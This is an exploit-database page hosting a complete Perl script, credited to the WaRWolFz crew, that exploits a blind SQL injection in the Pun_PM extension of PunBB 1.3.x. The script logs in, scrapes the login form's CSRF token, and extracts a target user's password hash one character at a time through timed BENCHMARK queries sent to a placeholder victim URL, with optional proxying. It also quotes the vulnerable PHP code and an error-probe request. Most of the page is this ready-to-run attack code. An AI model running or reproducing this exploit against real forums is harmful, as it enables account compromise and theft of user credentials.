Lucene search
K

PunBB <= 1.3.4 & Pun_PM <= 1.2.6 - Remote Blind SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

PunBB <= 1.3.4 & Pun_PM <= 1.2.6 Remote Blind SQL Injection Exploit. Script for exploiting SQL injection in PunBB version 1.3.* and Pun_PM version 1.2.

Code

                                                #!/usr/bin/perl
# [0-Day] PunBB &#60;= 1.3.* Package: Pun_PM &#60;= v1.2.6 Remote Blind SQL Injection Exploit
# Author/s: Dante90, WaRWolFz Crew
# Created: 2009.07.30 after 0 days the bug was discovered.
# Crew Members: 4lasthor, Andryxxx, Cod3, Gho5t, HeRtZ, N.o.3.X, RingZero, s3rg3770, Shades Master, The:Paradox, V1R5, yeat
# Greetings To: _ nEmO _, XaDoS, Necrofiend, Lutor, vagabondo, hacku, yawn, The_Exploited, Shotokan-The Hacker, _mRkZ_,
#               Chuzz, init, plucky, SaRtE, Lupo
# Thanks For Testing: BlAcK HaT, l3d
# Web Site: www.warwolfz.org
# My Wagend (Dante90): dante90wwz.altervista.org
# Unit-X Project: www.unitx.net
# ----
# Why I&#39;ve decided to publish this?
# Because in &#34;Package: Pun_PM &#60;= v1.2.9&#34; the bug was fixed.
# ----
# DETAILS
# ./PunBB v1.3.*/extensions/pun_pm/functions.php
# LINES: 504 -&#62; 526
#	function pun_pm_edit_message()
#	{
#		global $forum_db, $forum_user, $lang_pun_pm;
#
#		$errors = array();
#
#		// Verify input data
#		$query = array(
#			&#39;SELECT&#39;	=&#62; &#39;m.id as id, m.sender_id as sender_id, m.status as status, u.username as username, m.subject as subject, m.body as body&#39;,
#			&#39;FROM&#39;		=&#62; &#39;pun_pm_messages m&#39;,
#			&#39;JOINS&#39;		=&#62; array(
#				array(
#					&#39;LEFT JOIN&#39;		=&#62; &#39;users AS u&#39;,
#					&#39;ON&#39;			=&#62; &#39;(u.id = m.receiver_id)&#39;
#				),
#			),
#			&#39;WHERE&#39;		=&#62; &#39;m.id = &#39;.$forum_db-&#62;escape($_GET[&#39;message_id&#39;]).&#39; AND m.sender_id = &#39;.$forum_user[&#39;id&#39;].&#39; AND m.deleted_by_sender = 0&#39;
#		);
#
#		($hook = get_hook(&#39;pun_pm_fn_edit_message_pre_validate_query&#39;)) ? eval($hook) : null;
#
#		$result = $forum_db-&#62;query_build($query) or error(__FILE__, __LINE__);
# ----
# GET http://127.0.0.1/WaRWolFz/misc.php?section=pun_pm&pmpage=write&message_id=-1&#39;
# Error - PunBB
# An error was encountered
# The error occurred on line 525 in ./WaRWolFz/extensions/pun_pm/functions.php
# Database reported: Errore di sintassi nella query SQL vicino a &#39;\ AND m.sender_id = 2 AND m.deleted_by_sender = 0&#39; linea 1 (Errno: 1064).

use strict;
use warnings;

use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;
use Time::HiRes;
use IO::Socket;

my ($UserName,$PassWord,$ID) = @ARGV;
if (@ARGV &#60; 3) {
	&usage();
	exit();
}

my $Message = &#34;&#34;;
my $Hash = &#34;&#34;;
my ($Time,$Time_Start,$Time_End,$Response);
my ($Start,$End);
my @chars = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
my $Host = &#34;http://www.victime_site.org/path/&#34;; #Insert Victime Web Site Link
my $Method = HTTP::Request-&#62;new(GET =&#62; $Host);
my $Cookies = new HTTP::Cookies;
my $HTTP = new LWP::UserAgent(
			agent =&#62; &#39;Mozilla/5.0&#39;,
			max_redirect =&#62; 0,
			cookie_jar =&#62; $Cookies,
		) or die $!;
my $Referrer = &#34;http://www.warwolfz.org/&#34;;
my $DefaultTime = request($Referrer);

sub request {
	$Referrer = $_[0];
	$Method-&#62;referrer($Referrer);
	$Start = Time::HiRes::time();
	$Response = $HTTP-&#62;request($Method);
	$Response-&#62;is_success() or die &#34;$Host : &#34;, $Response-&#62;message,&#34;\n&#34;;
	$End = Time::HiRes::time();
	$Time = $End - $Start;
	return $Time;
}

sub Blind_SQL_Jnjection {
	my ($dec,$hex) = @_;
	return &#34;./misc.php?section=pun_pm&pmpage=write&message_id=-1 OR 1!=(SELECT IF((ASCII(SUBSTRING(`password`,${dec},1))=${hex}),benchmark(200000000,CHAR(0)),0) FROM `users` WHERE `id`=${ID})--&#34;;
}

sub Clear() {
	my $launch = $^O eq &#39;MSWin32&#39; ? &#39;cls&#39; : &#39;clear&#39;;
	return system($launch);
}

sub Login() {
	if ($ARGV[4] =~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}?$/) {
		$Cookies-&#62;proxy([&#39;http&#39;, &#39;ftp&#39;], &#39;http://&#39;.$ARGV[4]) or die $!;
	}
	my $Get = $HTTP-&#62;get($Host.&#39;login.php&#39;);
	my $csrf_token = &#34;&#34;;
	if ($Get-&#62;content =~ /type=&#34;hidden&#34; name=&#34;csrf_token&#34; value=&#34;([a-f0-9]{1,40})/i) { #ByPassing csrf_token hidden input
		$csrf_token = $1;
	}
	my $Login = $HTTP-&#62;post($Host.&#39;login.php&#39;,
				[
					form_sent		=&#62; &#39;1&#39;,
					redirect_url	=&#62; $Host.&#39;login.php&#39;,
					csrf_token		=&#62; $csrf_token,
					req_username	=&#62; $UserName,
					req_password	=&#62; $PassWord,
					save_pass		=&#62; &#39;1&#39;,
					login =&#62; &#39;Login&#39;,
				]) || die $!;

	if ($Login-&#62;content =~ /Verrai trasferito automaticamente ad una nuova pagina in 1 secondo/i) { #English Language: You should automatically be forwarded to a new page in 1 second.
		return 1;
	} else {
		return 0;
	}
}

sub usage {
	Clear();
	{
		print &#34; \n [0-Day] PunBB &#60;= 1.3.4 Package: Pun_PM &#60;= v1.2.6 Remote Blind SQL Injection Exploit\n&#34;;
		print &#34; ------------------------------------------------------ \n&#34;;
		print &#34; * USAGE:                                             *\n&#34;;
		print &#34; * cd [Local Disk]:\\[Directory Of Exploit]\\           *\n&#34;;
		print &#34; * perl name_exploit.pl [username] [password] [id]    *\n&#34;;
		print &#34; * [proxy] is optional (ex: 151.57.4.97:8080)         *\n&#34;;
		print &#34; ------------------------------------------------------ \n&#34;;
		print &#34; *         Powered By Dante90, WaRWolFz Crew          *\n&#34;;
		print &#34; * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n&#34;;
		print &#34; ------------------------------------------------------ \n&#34;;
	};
	exit;
}

sub refresh {
	Clear();
	{
		print &#34; \n [0-Day] PunBB &#60;= 1.3.4 Package: Pun_PM &#60;= v1.2.6 Remote Blind SQL Injection Exploit\n&#34;;
		print &#34; ------------------------------------------------------ \n&#34;;
		print &#34; * USAGE:                                             *\n&#34;;
		print &#34; * cd [Local Disk]:\\[Directory Of Exploit]\\           *\n&#34;;
		print &#34; * perl name_exploit.pl [username] [password] [id]    *\n&#34;;
		print &#34; * [proxy] is optional (ex: 151.57.4.97:8080)         *\n&#34;;
		print &#34; ------------------------------------------------------ \n&#34;;
		print &#34; *         Powered By Dante90, WaRWolFz Crew          *\n&#34;;
		print &#34; * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n&#34;;
		print &#34; ------------------------------------------------------ \n&#34;;
	};
	print $_[0] .&#34;\n&#34;;
	print &#34; * Victime Site: &#34; . $_[1] . &#34;\n&#34;;
	print &#34; * Default Time: &#34; . $_[2] . &#34; seconds\n&#34;;
	print &#34; * BruteForcing Hash: &#34; . chr($chars[$_[3]]) . &#34;\n&#34;;
	print &#34; * BruteForcing N Char Hash: &#34; . $_[6] . &#34;\n&#34;;
	print &#34; * SQL Time: &#34; . $_[5] . &#34; seconds\n&#34;;
	print &#34; * Hash: &#34; . $_[4] . &#34;\n&#34;;
}

sub Main(){
	if (Login() == 1) {
		$Message = &#34; * Logged in as: &#34;.$UserName;
	} elsif (Login() == 0) {
		$Message = &#34; * Login Failed.&#34;;
		refresh($Message, $Host, $DefaultTime, &#34;0&#34;, $Hash, $Time, &#34;1&#34;);
		print &#34; * Exploit Failed                                     *\n&#34;;
		print &#34; ------------------------------------------------------ \n&#34;;
		exit;
	}
	for (my $I=1; $I&#60;=40; $I++) { #N Hash characters
		for (my $J=0; $J&#60;=15; $J++) { #0 -&#62; F
			$Time_Start = time();
			my $Get1 = $HTTP-&#62;get($Host.Blind_SQL_Jnjection($I,$chars[$J]));
			$Time_End = time();
			$Time = request($Referrer);
			refresh($Message, $Host, $DefaultTime, $J, $Hash, $Time, $I);
			if ($Time_End - $Time_Start &#62; 6) {
				$Time = request($Referrer);
				refresh($Message, $Host, $DefaultTime, $J, $Hash, $Time, $I);
				if ($Time_End - $Time_Start &#62; 6) {
					syswrite(STDOUT,chr($chars[$J]));
					$Hash .= chr($chars[$J]);
					$Time = request($Referrer);
					refresh($Message, $Host, $DefaultTime, $J, $Hash, $Time, $I);
					last;
				}
			}
		}
		if ($I == 1 && length $Hash &#60; 1 && !$Hash) {
			print &#34; * Exploit Failed                                     *\n&#34;;
			print &#34; ------------------------------------------------------ \n&#34;;
			exit;
		}
		if ($I == 40) {
			print &#34; * Exploit Successfully Executed                      *\n&#34;;
			print &#34; ------------------------------------------------------\n &#34;;
			system(&#34;pause&#34;);
		}
	}
}

Main();

#WaRWolFz Crew


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
18